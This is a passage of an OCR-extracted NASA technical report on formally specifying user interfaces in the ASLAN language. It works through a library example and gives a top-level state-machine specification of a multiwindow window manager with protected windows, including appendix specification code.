above problem. Software engineers can use Aslan to formally specify complex systems and develop their specifications through arbitrary levels of abstraction. When a specification is passed through the Aslan Language Processor (ALP), software engineers receive a set of correctness conjectures. The following sections describe features of Aslan using a specification of a library as an example. The library example has been used in many formal specification workshops. A library specification written in the InaJo language appears in [11]. II.2 The Aslan Approach The Aslan language is built on first order predicate calculus. Systems being specified are thought of as being in states, defined by the values of the system variables. Logical assertions are used to define the critical correctness requirements that must hold in every state and those that must hold between two consecutive states. The former are state invariants, while the latter are constraints on state transitions. To prove that a specification satisfies its invariant and constraints, the ALP generates correctness conjectures. Correctness conjectures are logical statements whose proof ensures the correctness of the specification with respect to the invariant and constraint. Appendix A contains a high-level specification of a library. Although the library could be further specified through more detailed levels of specification, only the top-level specification will be examined here. The state variables for this system appear in the VARIABLE section of the specification. Library is a variable whose type is a collection of Book. At this level, Book is left as an unspecified type. A state variable Checked.Out maps each book into the boolean domain, while Number.Out maps library users to the number of books they have checked out. The specification contains an initial assertion defining possible starting states of the library. This assertion states that the library is initially empty, that no users have books out, and that, indeed, no books are checked out. The library specification contains an invariant assertion to specify the essential properties that the system must have. The invariant states that - when a book is checked out, it cannot be available. Similarly, an available book cannot simultaneously be checked out. - the limit on the number of books checked out by any user is enforced - no user has more than one copy of the same book checked out Clearly, we want the initial state of the system to fulfill the invariant. The ALP will generate a logical implication that \[ \text{initial} \rightarrow \text{invariant} \] The particular correctness conjecture generated is \[ \begin{align*} \text{Library} &= \text{EMPTY} \\ &\& \text{FORALL } u: \text{User} \ (\text{Number_Books}(u) = 0) \\ &\& \text{FORALL } b: \text{Book} \ (\text{"Checked_Out}(b)\) \\ \rightarrow &\quad \text{FORALL } b: \text{Book}( b \ \text{ISIN Library} \rightarrow \\ &\quad \quad \quad \text{Checked_Out}(b) \& \text{"Available}(b) \\ &\quad \quad \quad \quad \quad | \text{"Checked_Out}(b) \& \text{Available}(b)) \\ &\quad \& \text{FORALL } u: \text{User} \ (\text{Number_Books}(u) <\text{ Book_Limit}) \\ &\quad \& \text{FORALL } u: \text{User}, b1, b2: \text{Book}( \\ &\quad \quad \quad \text{Checked_Out_To}(u, b1) \\ &\quad \quad \quad \& \text{Checked_Out_To}(u, b2) \\ &\quad \quad \quad \& \text{Copy_Of}(b1, b2) \\ &\quad \quad \quad \rightarrow b1 = b2) \end{align*} \] It is up to the specifier, possibly with the help of a theorem prover, to prove the above correctness conjecture. An empty library is not very interesting. The specification must define how the library can expand; that is, how the library can change from a current (‘old’) state to a new state in which more books are present. Allowable state changes are specified as transitions. An ASLAN transition consists of a precondition (ENTRY) and a postcondition (EXIT). Transitions in the library example have only postconditions. The ALP assumes that omitted preconditions are true. The Add_A_Book transition allows the library to expand. Because Add_A_Book does not have an entry assertion, it can be applied at any time. The exit assertion states the effect the application of the transition has on the state variables. It asserts that the user adding the book must be a member of the library staff, and assuming the user is a staff person and the book isn't already in the library (the apostrophe is the ASLAN notation for 'old value'), the book is added to the library the book is not checked out and in particular, this book has never been checked out How can the specifier be assured that the Add_A_Book transition meets the correctness requirements embodied in the invariant? It must be proved that if the invariant holds in the current (old) state, and the transition is applied, then the invariant will hold in the new state. That is, \[ \text{invariant'} \& \text{ entry'} \& \text{ exit} \rightarrow \text{invariant} \] Note that in the antecedent, the invariant and the entry assertion are evaluated in the old state. The exit assertion and the consequent are evaluated in the new state. ASLAN specifications can be made up of several levels of abstraction. Given a multilevel specification, the ALP generates additional correctness conjectures that ensure that types, variables, and transitions are properly refined, and that the correctness requirements are met at every level of abstraction. Details are found in [4]. Ideally, ASLAN should be used to specify increasingly concrete levels of abstraction. The resulting specification would be a high level specification defining the system as an abstract data type, followed by intermediate levels leading to a low level specification close to code level. In this most detailed specification level, the transitions' entry and exit assertions become the pre- and postconditions of programming language level procedures which implement them. II.3 A Specifier-friendly Feature Expressions in ASLAN look like first order logic assertions for a simple reason: the techniques and expressive power of first order logic can be used to prove correctness conjectures. Unfortunately for specifiers with a programming background, the semantics of first order logic are not the same as those of procedural programming languages such as Pascal and C. Consider an alternate version of the Return transition: \[ \begin{align*} \text{TRANSITION Return}(B: \text{Book}) \\ \text{EXIT} \\ \text{Checked}_\text{Out'}(B) \rightarrow \text{Checked}_\text{Out}(B) = \text{FALSE} \\ \& \text{Number}_\text{Books}(\text{Responsible'}(B)) = \text{Number}_\text{Books}(\text{Responsible'}(B) - 1) \end{align*} \] The above exit assertion is written in a purely 'logical' form. Recall that the ALP will construct a correctness conjecture whose proof ensures the invariant holds after the application of Return: \[ \text{FORALL } b: \text{Book} \ (b \ \text{ISIN Library}' \rightarrow \\ \text{Checked\_Out}'(b) \ & \ "\text{Available'}(b) \\ \ | \ "\text{Checked\_Out'}(b) \ & \ \text{Available'}(b)) \\ \& \ \text{FORALL } u: \text{User} \ (\text{Number\_Books'}(u) \leq \text{Book\_Limit}) \\ \& \ \text{FORALL } u: \text{User}, b_1, b_2: \text{Book} ( \\ \text{Checked\_Out\_To'}(u, b_1) \\ \& \ \text{Checked\_Out\_To'}(u, b_2) \\ \& \ \text{Copy\_Of}(b_1, b_2) \\ \rightarrow \ b_1 = b_2) \\ \& \ \text{Checked\_Out'}(B) \rightarrow \ \text{Checked\_Out}(B) = \text{FALSE} \\ \& \ \text{Number\_Books}(\text{Responsible'}(B)) = \text{Number\_Books}(\text{Responsible'}(B) - 1) \\ \rightarrow \\ \text{FORALL } b: \text{Book} \ (b \ \text{ISIN Library} \rightarrow \\ \text{Checked\_Out}(b) \ & \ "\text{Available}(b) \\ \ | \ "\text{Checked\_Out}(b) \ & \ \text{Available}(b)) \\ \& \ \text{FORALL } u: \text{User} \ (\text{Number\_Books}(u) \leq \text{Book\_Limit}) \\ \& \ \text{FORALL } u: \text{User}, b_1, b_2: \text{Book} ( \\ \text{Checked\_Out\_To}(u, b_1) \\ \& \ \text{Checked\_Out\_To}(u, b_2) \\ \& \ \text{Copy\_Of}(b_1, b_2) \\ \rightarrow \ b_1 = b_2) \] It is a simple paper and pencil exercise to show that the conjecture generated cannot be proved. In particular, - The new values of Available and Checked\_Out\_To are mentioned in the consequent invariant. Nothing can be proved about the new values of Available and Checked\_Out\_To. Neither variable was mentioned in the exit assertion of Return, and the antecedent invariant only relates old values of the state variables. - Because the exit assertion was written as a logical implication, we have not specified what will happen when Checked\_Out'(B) is false. In particular, if the book B was not checked out, the new value of Checked\_Out(B) could be true or false. Also, the values of Checked\_Out for books other than B are unspecified! • Similarly, we have not specified the new values of Number_Books for all users not responsible for the particular book B being returned. In particular, the new value of Number_Books for such users could be any integer. These differences between the semantics of logic and those of programming languages have caught professional specification writers by surprise [14]. The ASLAN language provides constructs that operate like programmers tend to think logical operations should operate. Corresponding to logical implication is the ASLAN IF-THEN-ELSE-FI, corresponding to disjunction is the ALT (alternative) statement, and corresponding to equality is the BECOMES statement. Details are found in [3, 4]. In addition, ASLAN supplies the implicit 'no changes' for variables mentioned in the invariant and constraint, but not mentioned in a particular transition. These language features allow specifiers to write specifications in a more natural way. Readers should compare the Return transition above with the version in the appendix. Preliminary work on extending ASLAN to facilitate specification of real-time systems is documented in [2]. III. Specification of a Multiwindow User Interface III.1 Overview Appendix B contains an ASLAN specification of an interface commonly provided by window managers running on the X window system [9, 13, 15]. Windows can be created, deleted, opened, closed, resized, moved, brought to the foreground, and be made the target of user input. The specification has one feature not usually found in multiwindow interfaces: dedicated, reserved ("special") windows that cannot be moved, closed, or covered. Displays proposed for shuttle ground support software will have such areas. This specification was written to be an abstract description of the operations provided by a window manager to a user. Note that pixels and mice, usually associated with such interfaces, are not mentioned. It is sometimes hard to determine an appropriate level of abstraction for a top-level specification. A guideline is that the most abstract specification be such that critical functionality and correctness requirements can be expressed in a form that is readily understandable and easily manipulable. In addition, top-level specifications should not restrict possible implementations and refinements. Although only a top-level specification of the interface is provided, it is clear that more detailed levels of refinement could introduce implementation details such as pixels and mice. Each major syntactic unit of the specification will be discussed in turn. Sections III.2 through III.8.8 refer directly to Appendix B. The following lexical convention is used: constants and ASLAN keywords are uppercase, type identifiers begin with uppercase, variables and definitions are lower case. III.2 Types Six unspecified types are declared to represent classes of system objects that require no elaboration at this level. For example, Processes can be associated with Windows, however at this level of abstraction it is not important how either is implemented. Further, how windows look on the screen (their Representations, Sizes, and Locations) are deferred. The Display_Levels type represents the stacking level of windows on the screen. It is tempting to define Display_Levels as a synonym for integer. This would restrict possible implementations. As discussed in III.3, it is only necessary that Display_Levels have a less-than-or-equal ordering. The state of a window is a simple enumerated type. The layout of a window is a structure of three fields: a location, size, and a representation. As discussed in section III.4, windows have a layout for when they are open, and another layout (an icon) for when they are closed. Finally, the contents of the current screen is of type Displays - a set of window layouts. The current display along with current stacking levels for the active windows defines the look of the screen. III.3 Constants Constants are unchanging mappings. For example, INITIAL_OPEN_LAYOUT associates a de- fault look for windows opened for processes. With INITIAL_CLOSED_LAYOUT and INITIAL_STATE, the window manager determines the look of a window when it is created for a process. OVERLAPS is an important relation that maps two layouts to true or false. The intent is that refinements of OVERLAPS will check to see if any of the first layout overlaps the second. This constant relation is useful in determining if windows are on the screen (overlap the BACKGROUND) and if they would obscure a restricted window. LESS_OR_EQUAL is similar to OVERLAPS. This boolean constant maps window stacking levels. If Display_Levels is subsequently refined to be the integers, this constant may turn into nothing more than ≤. SPECIAL is a boolean function that determines if a window is restricted. It is made a constant in this specification so that the mechanisms for making windows restricted or not can be omitted. It is reasonable that SPECIAL could be changed to be a state variable and state transitions for its manipulation be added. III.4 State Variables The value of the state variables determine the state of the interface. These values are changed by the application of the state transitions discussed in section III.8. Windows are created for processes. The mapping of processes to windows is represented in process. When a process is bound to a window, the window will inherit the initial open and closed layouts from the process. These layouts (open_layout, closed_layout) can be changed by the resize and move state transitions. Associated with each window is also a stacking level display_level. The layouts currently active on the screen are in display. The window selected to receive input is determined by the value of input_focus. III.5 Definitions (Macros) ASLAN definitions are macros used to make state transitions more understandable. Eight definitions are given to represent mundane events such updating the display and changing layout fields. **to_top_level** is interesting because it specifies that the stacking level of its argument is to be less than all other windows, and that the relationship between other windows should remain as it was before the argument was made uppermost window. There are two things to note. First, to_top_level may be restricting future implementations. It is not necessary for the argument’s stacking level to be strictly less than that of all other windows, just that it be less than the level of all windows in its stack. That is, the topmost windows of independent stacks on the screen could have the same display_level. It is an interesting exercise to rewrite the definition to allow this. Second, although it is specified that the relationships of other windows remains as they were before the state transition, it is possible that the value of display_level for each window has changed! This allows refinements and eventual implementations flexibility in assigning display levels — any implementation that has the argument window ending up on top, and doesn’t rearrange the other windows meets this specification. set_location and set_size manipulate one field of a particular window's current layout. Care is taken that other fields for this window, and layouts for other windows are unchanged. The update_display definitions specify the addition and deletion of layouts to the current display. III.6 Initial Conditions The INITIAL assertion describes the state of the interface when the system is first brought up. An informal reading of the assertion is “nothing is on the screen, and all windows are inactive, and windows that are created for processes will be on somewhere on the screen.” III.7 Critical Correctness Requirements The critical correctness requirements are expressed in the INVARIANT. This assertion is to be true when the system is started, and continue to hold in every state the system can reach starting at the initial state and using the state transitions described in III.8. The assertion consists of three conjuncts. The first says that every layout on the screen has to be associated with an active window. The second asserts that every current layout must be at least partially on the screen. The third states that restricted windows are not covered. III.8 State Transitions The following subsections describe the eight state transitions. Since none of the transitions have explicitly stated ENTRY assertions, there are no restrictions on when the transitions can be applied. This corresponds to typical window managers – it is possible, for example, to attempt to close windows at any time. Although there are no restrictions on when the transitions can be applied, it is not always the case that applying them has any effect on the state of the system. For example, most window managers will allow a user to close an already closed window. From the user's view, there is no change in the state of the display. The specifications for the state transitions are written with this in mind. The style used is as follows: an exit assertion is a disjunct of two clauses joined by the ASLAN ALT operator. The first clause specifies the effect of the state transition when variables are changed (the closing of an open window, for example) and the second clause specifies that no variables change. The ALT operator is logical disjunction augmented by statements specifying that unmentioned state variables do not change. These statements are generated automatically by the ALP [3, 4]. When reading the transitions it is important to pay careful attention to the use of the old-value operator (apostrophe). The following sections will focus on the first disjunct of each transition's exit assertion. III.8.1 Window Closing (Iconifying) To close a window w, it is necessary that w be open, that it is not a restricted window, that w's new state is closed (and that the states of other windows are unchanged), that w's open layout is taken off the screen and replaced by its icon, and that the icon not be hidden. III.8.2 Window Opening open_window is symmetric to close_window. III.8.3 Window Destruction To destroy a window \( w \), it is necessary that \( w \) active before the state transition and unused afterwards, that \( w \) is not a restricted window, and that the layout of \( w \) be removed from the screen. III.8.4 Window Creation Windows are created for and associated with processes. To create a window for process \( p \) it is necessary that there exists a window \( w \) that was inactive before the state transition and will become active. This window will inherit its initial state and layouts from \( p \). \( w \) will be associated with \( p \), and \( w \)’s current layout will be added to the display uncovered by other windows or icons. III.8.5 Shifting Input Focus This transition assumes that only one window at a time can be the target of user input. It is a simple transition that checks that only active windows can receive input. III.8.6 Moving Windows The move transition looks more complicated than it is. There are two symmetric cases for when the window to be moved, \( w \), is open and closed. In either case, \( w \) cannot be a restricted window and the current display is modified. If \( w \)’s state is open then its location is changed, \( w \) must still be on the screen, and \( w \) cannot overlap any special windows. The case when \( w \) is closed is symmetric. III.8.7 Window Resizing This transition states that only ordinary, open windows can be resized. In addition, a window cannot be resized to overlap a restricted window. III.8.8 Window Restacking To bring an active window \( w \) to the foreground, the display must be changed, and the act of bringing \( w \) to the foreground must not overlap a restricted window. IV. Concluding remarks This paper has discussed formal specification of user interfaces. The particular approach taken was to construct an abstract, state-machine model of the interface using the ASLAN specification language. Emphasis was placed on defining essential functionality and critical correctness requirements without introducing implementation details. The resulting specification defines the functionality of a typical window manager (Appendix B). The specification can be the foundation of several further activities: - The correctness conjectures generated by the ASLAN language processor could be proved. Successful proofs would show that the specification satisfies its critical correctness criteria. Failed attempts to prove correctness conjectures have lead to new insights into the system being specified. Failed proofs can show misunderstandings in functionality, inconsistency, and incompleteness. These insights can be especially valuable to software engineers as they work toward defining essential functionality and correctness of a system. - The specification can be expanded. It would be useful to refine the top-level specification into lower, more detailed specifications. A challenge is to refine the specification down to an implementation level at which objects such as pixels, mouse clicks, and scrollbars are used. New techniques would have to be developed to maintain readability and understandability while handling the amount of detail at low levels. - The specification could serve as inspiration for a specification of a particular part of the proposed shuttle/space station ground software. This is a promising area for further research. After informal requirements for, say, protected alarm areas on screens are developed, an effort should be made to formally specify their actions and correctness requirements. - The specification could be tested. A symbolic execution tool for ASLAN specifications should be constructed. Formal specification of user interfaces is not cost effective for most projects. However, for highly structured interfaces whose performance is critical (such as the NASA interfaces being developed) formal specification can play a valuable role in unambiguously defining functionality and providing confidence in meeting correctness requirements. There is considerable interest in formal techniques and proofs of correctness among developers of critical interfaces. References SPECIFICATION Library LEVEL Top_Level TYPE User, Book, Book_Title, Book_Author, Book_Collection IS SET OF Book, titles IS SET OF Book_Title, Pos_Integer IS TYPEDEF i:INTEGER (i>0) CONSTANT Title(Book):Book_Title, Author(Book):Book_Author, Library_Staff(User):BOOLEAN, Book_Limit:Pos_Integer DEFINE Copy_of(B1,B2:Book):BOOLEAN == Author(B1) = Author(B2) & Title(B1) = Title(B2) VARIABLE Library:Book_Collection, Checked_Out(Book):BOOLEAN, Responsible(Book):User, Number_Books(User):INTEGER, Never_Out(Book):BOOLEAN, DEFINE Available(B:Book):BOOLEAN == B ISIN Library & ~Checked_Out(B), Checked_Out_To(U:User,B:Book):BOOLEAN == Checked_Out(B) & Responsible(B)=U INITIAL Library = EMPTY & FORALL u:User (Number_Books(u) = 0) & FORALL b:Book (¬Checked_Out(b)) INVARIANT FORALL b:Book (b ISIN Library -> Checked_Out(b) & ¬Available(b) | ¬Checked_Out(b) & Available(b)) & FORALL u:User (Number_Books(u) <= Book_Limit) & FORALL u:User, b1, b2:Book Checked_Out_To(u, b1) & Checked_Out_To(u, b2) & Copy_Of(b1, b2) -> b1 = b2) TRANSITION Check_Out(U:User, B:Book) EXIT Available'(B) & Number_Books'(U) < Book_Limit & IF FORALL B1:Book (Checked_Out_To'(U, B1) -> ¬Copy_Of(B, B1)) THEN Number_Books(U) BECOMES (Number_Books'(U) + 1) & (Checked_Out(B) BECOMES TRUE) & (Responsible(B) BECOMES U) & (Never_Out(B) BECOMES FALSE) FI TRANSITION Return(B:Book) EXIT ( IF Checked_Out'(B) THEN Checked_Out(B) BECOMES FALSE & Number_Books(Responsible'(B)) BECOMES (Number_Books(Responsible'(B)) - 1) FI) TRANSITION Add_A_Book(U:User, B:Book) EXIT ( IF Library_Staff(U) & B 'ISIN Library' THEN Library = Library' UNION {B} & Checked_Out(B) BECOMES FALSE & Never_Out(B) BECOMES TRUE TRANSITION Remove_A_Book(U:User, B:Book) EXIT (IF Library_Staff(U) & Available'(B) THEN Library = Library' SET_DIFF {B} FI) END Top_Level END Library Appendix B Specification of a Multiwindow Interface SPECIFICATION window_interface INHIBIT /* do not produce correctness conjectures */ LEVEL Top_Level /* Brent Auernheimer -- July 1990 This is a high-level specification written using the Aslan specification language of a window-based user interface. Mice are not explicitly mentioned. Note that a ' (prime) is the old-value operator. That is, if x is a variable, then x' represents its value before the application of a transition. An unprimed x represents the new-value of x. This user interface is typical of window managers running on X. One added feature is SPECIAL windows which cannot be closed (iconified), moved, or covered by other windows or icons. Notational conventions -- alphanumeric tokens are lowercase except for the following: * Keywords and constants are uppercase. * Type identifiers begin with uppercase. */ TYPE Windows, Processes, Locations, Sizes, Representations, Display_Levels, States IS (OPEN, CLOSED, UNUSED), Layouts IS STRUCTURE OF (location: Locations, size: Sizes, rep: Representations), Displays IS SET OF Layouts CONSTANT NULL_PROCESS: Processes, INITIAL_OPEN_LAYOUT(Processes): Layouts, INITIAL_CLOSED_LAYOUT(Processes): Layouts, INITIAL_STATE(Processes): States, /* OVERLAPS is to be true if first argument overlaps the second */ OVERLAPS(Layouts, Layouts): BOOLEAN, BACKGROUND: Layouts, /* windows must overlap the background */ SPECIAL(Windows): BOOLEAN, /* some windows cannot be covered */ /* the smallest display_level is the window closest to the top, the largest is the window buried the deepest */ LESS_OR_EQUAL(Display_Levels, Display_Levels): BOOLEAN VARIABLE process(Windows): Processes, open_layout(Windows): Layouts, closed_layout(Windows): Layouts, state(Windows): states, input_focus(Windows): BOOLEAN, display: Displays, display_level(Windows): Display_Levels DEFINE /* DEFINitions are macros used to make state transitions easier to read */ to_top_level(w: Windows): BOOLEAN == /* w becomes the topmost window */ FORALL w2: Windows ( (w "= w2) -> LESS_OR_EQUAL(display_level(w), display_level(w2)) & display_level(w) "= display_level(w2)) /* all other windows maintain their previous relationship */ & FORALL w1, w2: Windows ( (w1 "= w & w2 "= w) -> ( (LESS_OR_EQUAL(display_level'(w1), display_level'(w2)) -> LESS_OR_EQUAL(display_level'(w1), display_level(w2))) & (LESS_OR_EQUAL(display_level'(w2), display_level'(w1)) -> LESS_OR_EQUAL(display_level'(w2), display_level'(w1))))), /* note that square brackets are used to select fields from structure typed variables */ set_location(w: Windows, s: States, l: Locations): BOOLEAN == ((s = OPEN) -> FORALL w1: Windows ( (w = w1 -> open_layout(w)[location] = 1 & open_layout(w)[size] = open_layout'(w)[size] & open_layout(w)[rep] = open_layout'(w)[rep]) & (w ≠ w1 -> open_layout(w1) = open_layout'(w1))) & NoChange(closed_layout)) & ((s = CLOSED) -> FORALL w1: Windows ( (w = w1 -> closed_layout(w)[location] = 1 & closed_layout(w)[size] = closed_layout'(w)[size] & closed_layout(w)[rep] = closed_layout'(w)[rep]) & (w ≠ w1 -> closed_layout(w1) = closed_layout'(w1))) & NoChange(open_layout)), set_size(w: Windows, s: States, s1: Sizes): BOOLEAN == ((s = OPEN) -> FORALL w1: Windows ( (w = w1 -> open_layout(w)[size] = s1 & open_layout(w)[location] = open_layout'(w)[location] & open_layout(w)[rep] = open_layout'(w)[rep]) & (w ≠ w1 -> open_layout(w1) = open_layout'(w1))) & NoChange(closed_layout)) & ((s = CLOSED) -> FORALL w1: Windows ( (w = w1 -> closed_layout(w)[size] = s1 & closed_layout(w)[location] = closed_layout'(w)[location] & closed_layout(w)[rep] = closed_layout'(w)[rep]) & (w ≠ w1 -> closed_layout(w1) = closed_layout'(w1))) & NoChange(open_layout)), update_display_close(w: Windows): BOOLEAN == (display = display' SET_DIFF {SETDEF l: Layouts (l = open_layout'(w))} UNION {SETDEF l: Layouts (l = closed_layout'(w))}), update_display_open(w: Windows): BOOLEAN == display = display' SET_DIFF {SETDEF l: Layouts (l = closed_layout'(w))} UNION {SETDEF l: Layouts (l = open_layout'(w))}, update_display_create(w: Windows): BOOLEAN == (state(w) = OPEN & (display = display' UNION {SETDEF 1: Layouts (1 = open_layout(w))})) | (state(w) = CLOSED & (display = display' UNION {SETDEF 1: Layouts (1 = closed_layout(w))}), update_display_destroy(w: Windows): BOOLEAN == (state(w) = OPEN & (display = display' SET_DIFF {SETDEF 1: Layouts (1 = open_layout'(w))}) | (state(w) = CLOSED & (display = display' SET_DIFF {SETDEF 1: Layouts (1 = closed_layout'(w))}), update_display_move (w: Windows): BOOLEAN == (state'(w) = OPEN & (display = display' SET_DIFF {SETDEF 1: Layouts (1 = open_layout'(w))} UNION {SETDEF 1: Layouts (1 = open_layout(w))}) | (state'(w) = CLOSED & (display = display' SET_DIFF {SETDEF 1: Layouts (1 = closed_layout'(w))} UNION {SETDEF 1: Layouts (1 = closed_layout(w))}), INITIAL /* the following assertion defines the initial state of the system */ display = EMPTY & FORALL w: Windows ( state(w) = UNUSED & process(w) = NULL_PROCESS & input_focus(w) = false) & FORALL p: Processes ( OVERLAPS(INITIAL_OPEN_LAYOUT(p), BACKGROUND) & OVERLAPS(INITIAL_CLOSED_LAYOUT(p), BACKGROUND)) INVARIANT /* the following assertion is the critical correctness requirements that must hold in every state (including the initial state */ FORALL l: Layouts ( 1 ISIN display -> EXISTS w: Windows ( (state(w) = OPEN & l = open_layout(w)) | (state(w) = CLOSED & l = closed_layout(w)))) & FORALL l: Layouts ( 1 ISIN display -> OVERLAPS(l, BACKGROUND)) & FORALL w: Windows ( SPECIAL(w) & state(w) = UNUSED \rightarrow \text{EXISTS } i: \text{Layouts } ((i \in \text{display} \land (i = \text{open_layout}(w) \lor i = \text{closed_layout}(w))) \land \text{FORALL } l_i: \text{Layouts } ((i \not= l_i) \land (l_i \in \text{display}) \rightarrow \neg \text{OVERLAPS}(l_i, i))) /* the transitions are written to have NoChange to the state variables if they shouldn't be applied. These NoChange clauses could be rewritten to specify error notification and processing */ \text{TRANSITION close_window} (w: \text{Windows}) /* iconify */ \text{EXIT} \quad \text{state}'(w) = \text{OPEN} \land \neg \text{SPECIAL}(w) \land \text{state}(w) \text{ BECOMES CLOSED} \land \text{update_display_close}(w) \land \text{to_top_level}(w) \text{ALT NoChange} \text{TRANSITION open_window} (w: \text{Windows}) \text{EXIT} \quad \text{state}'(w) = \text{CLOSED} \land \text{state}(w) \text{ BECOMES OPEN} \land \text{update_display_open}(w) \land \text{to_top_level}(w) \text{ALT NoChange} \text{TRANSITION destroy_window} (w: \text{Windows}) \text{EXIT} \quad (\text{state}'(w) = \text{OPEN} \lor \text{state}'(w) = \text{CLOSED}) \land \text{state}(w) \text{ BECOMES UNUSED} \land \neg \text{SPECIAL}(w) \land \text{update_display_destroy}(w) \text{ALT NoChange} \text{TRANSITION create} (p: \text{Processes}) \text{EXIT} \quad \text{EXISTS } w: \text{Windows } (\text{state}'(w) = \text{UNUSED} \land \text{state}(w) \text{ BECOMES INITIAL\_STATE}(p) & open_layout(w) BECOMES INITIAL_CLOSED_LAYOUT(p) & closed_layout(w) BECOMES INITIAL_OPEN_LAYOUT(p) & process(w) BECOMES p & update_display_create(w) & to_top_level(w)) ALT NoChange TRANSITION shift_focus(w: Windows) /* assumes that only one window at a time has input focus and that closed windows can have input_focus */ EXIT (state'(w) = OPEN | state'(w) = CLOSED) & FORALL w1: Windows (input_focus(w1) = (w1 = w)) ALT NoChange TRANSITION move(w: Windows, l: Locations) EXIT ("SPECIAL(w) & update_display_move(w) & ((state'(w) = OPEN) & set_location(w, state'(w), l) & OVERLAPS(open_layout(w), BACKGROUND) & "EXISTS w1: Windows (SPECIAL(w1) & state'(w1) = UNUSED & OVERLAPS(open_layout(w), open_layout'(w1))))) | ((state'(w) = CLOSED) & set_location(w, state'(w), l) & OVERLAPS(closed_layout(w), BACKGROUND) & "EXISTS w1: Windows (SPECIAL(w1) & state'(w1) = UNUSED & OVERLAPS(closed_layout(w), open_layout'(w1))))) ALT NoChange TRANSITION resize(w: Windows, s: Sizes) EXIT (state'(w) = OPEN) & "SPECIAL(w) & "EXISTS w1: Windows(SPECIAL(w1) & (state'(w1) = UNUSED) & OVERLAPS(open_layout(w), open_layout'(w1))) & set_size(w, state'(w), s) ALT NoChange TRANSITION to_foreground(w: Windows) EXIT to_top_level(w) & state'(w) = UNUSED & "EXISTS w: Windows(SPECIAL(w) & (state'(w) = UNUSED) & ((state'(w) = OPEN) & (OVERLAPS(open_layout'(w), open_layout'(w1))) | (state'(w) = CLOSED) & OVERLAPS(closed_layout'(w), open_layout'(w1)))) ALT NoChange END Top_Level END window_interface
{"Source-Url": "https://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19910010710.pdf", "len_cl100k_base": 10604, "olmocr-version": "0.1.50", "pdf-total-pages": 28, "total-fallback-pages": 0, "total-input-tokens": 71698, "total-output-tokens": 12890, "length": "2e13", "weborganizer": {"__label__adult": 0.0003199577331542969, "__label__art_design": 0.0008625984191894531, "__label__crime_law": 0.0002448558807373047, "__label__education_jobs": 0.0017251968383789062, "__label__entertainment": 8.612871170043945e-05, "__label__fashion_beauty": 0.00016129016876220703, "__label__finance_business": 0.00019931793212890625, "__label__food_dining": 0.0002815723419189453, "__label__games": 0.0005631446838378906, "__label__hardware": 0.0010509490966796875, "__label__health": 0.0003800392150878906, "__label__history": 0.0002989768981933594, "__label__home_hobbies": 8.177757263183594e-05, "__label__industrial": 0.0003745555877685547, "__label__literature": 0.0004165172576904297, "__label__politics": 0.0002048015594482422, "__label__religion": 0.0004582405090332031, "__label__science_tech": 0.033355712890625, "__label__social_life": 8.434057235717773e-05, "__label__software": 0.00948333740234375, "__label__software_dev": 0.94873046875, "__label__sports_fitness": 0.00020825862884521484, "__label__transportation": 0.0004107952117919922, "__label__travel": 0.00015211105346679688}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 48451, 0.01361]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 48451, 0.63763]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 48451, 0.8722]], "google_gemma-3-12b-it_contains_pii": [[0, 515, false], [515, 1156, null], [1156, 2104, null], [2104, 5082, null], [5082, 8205, null], [8205, 11284, null], [11284, 11395, null], [11395, 14267, null], [14267, 16524, null], [16524, 18944, null], [18944, 21052, null], [21052, 22198, null], [22198, 25117, null], [25117, 28138, null], [28138, 31034, null], [31034, 32902, null], [32902, 35338, null], [35338, 37590, null], [37590, 38266, null], [38266, 39325, null], [39325, 39481, null], [39481, 40668, null], [40668, 42229, null], [42229, 43808, null], [43808, 45422, null], [45422, 46884, null], [46884, 48058, null], [48058, 48451, null]], "google_gemma-3-12b-it_is_public_document": [[0, 515, true], [515, 1156, null], [1156, 2104, null], [2104, 5082, null], [5082, 8205, null], [8205, 11284, null], [11284, 11395, null], [11395, 14267, null], [14267, 16524, null], [16524, 18944, null], [18944, 21052, null], [21052, 22198, null], [22198, 25117, null], [25117, 28138, null], [28138, 31034, null], [31034, 32902, null], [32902, 35338, null], [35338, 37590, null], [37590, 38266, null], [38266, 39325, null], [39325, 39481, null], [39481, 40668, null], [40668, 42229, null], [42229, 43808, null], [43808, 45422, null], [45422, 46884, null], [46884, 48058, null], [48058, 48451, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 48451, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 48451, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 48451, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 48451, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 48451, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 48451, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 48451, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 48451, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 48451, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 48451, null]], "pdf_page_numbers": [[0, 515, 1], [515, 1156, 2], [1156, 2104, 3], [2104, 5082, 4], [5082, 8205, 5], [8205, 11284, 6], [11284, 11395, 7], [11395, 14267, 8], [14267, 16524, 9], [16524, 18944, 10], [18944, 21052, 11], [21052, 22198, 12], [22198, 25117, 13], [25117, 28138, 14], [28138, 31034, 15], [31034, 32902, 16], [32902, 35338, 17], [35338, 37590, 18], [37590, 38266, 19], [38266, 39325, 20], [39325, 39481, 21], [39481, 40668, 22], [40668, 42229, 23], [42229, 43808, 24], [43808, 45422, 25], [45422, 46884, 26], [46884, 48058, 27], [48058, 48451, 28]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 48451, 0.0]]}
olmocr_science_pdfs
2024-11-29
2024-11-29
efdc679ae5adb35ee848fdc4196da75a40c39752
